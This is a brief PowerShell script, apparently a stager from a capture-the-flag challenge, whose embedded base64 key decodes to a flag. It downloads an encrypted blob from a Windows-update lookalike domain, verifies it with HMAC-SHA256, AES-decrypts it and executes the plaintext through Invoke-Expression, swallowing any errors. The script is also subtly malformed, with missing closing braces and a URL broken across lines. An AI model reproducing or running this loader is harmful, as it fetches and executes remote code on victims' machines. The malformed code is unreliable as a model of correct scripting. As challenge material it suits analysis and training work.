function BytesEqual([byte[]]$a,[byte[]]$b){
  if ($a.Length -ne $b.Length) { return $false }
  $d=0; for($i=0;$i -lt $a.Length;$i++){ $d = $d -bor ($a[$i] -bxor $b[$i]) }; return ($d -eq 0)
try {
  $key = [Convert]::FromBase64String("TkMze2M0bl9uM3Yzcl9yM20zbWIzcl9zdDNnMF92c19zdDRnM3JfczBfMV9tNGRlXzRfc3QzZzAtc3Q0ZzNyfQ==")
  $aesKey = [byte[]]($key[0..31])
  $macKey = [byte[]]($key[32..63])
  $wc = New-Object Net.WebClient
  try {
    $blob = $wc.DownloadData("http://w1ndowsl1veupdater.nc3/dl/
l04d3r.bin")
  } finally {
    $wc.Dispose()
  $iv = New-Object byte[] 16
  [Array]::Copy($blob, 0, $iv, 0, 16)
  $tag = New-Object byte[] 32
  [Array]::Copy($blob, $blob.Length - 32, $tag, 0, 32)
  $ctLen = $blob.Length - 16 - 32
  $ct = New-Object byte[] $ctLen
  [Array]::Copy($blob,16,$ct,0,$ctLen)
  $hmac = [System.Security.Cryptography.HMACSHA256]::new($macKey)
  $data = New-Object byte[] ($iv.Length + $ct.Length)
  [Array]::Copy($iv,0,$data,0,$iv.Length)
  [Array]::Copy($ct,0,$data,$iv.Length,$ct.Length)
  $calc = $hmac.ComputeHash($data)
  if (-not (BytesEqual $calc $tag)) { exit 0 }
  $aes = [Security.Cryptography.Aes]::Create()
  $aes.Mode='CBC'; $aes.Padding='PKCS7'; $aes.KeySize=256; $aes.BlockSize=128
  $aes.Key=$aesKey; $aes.IV=$iv
  $dec = $aes.CreateDecryptor()
  $pt = $dec.TransformFinalBlock($ct, 0, $ct.Length)
  Invoke-Expression ([Text.Encoding]::UTF8.GetString($pt))
} catch {}
}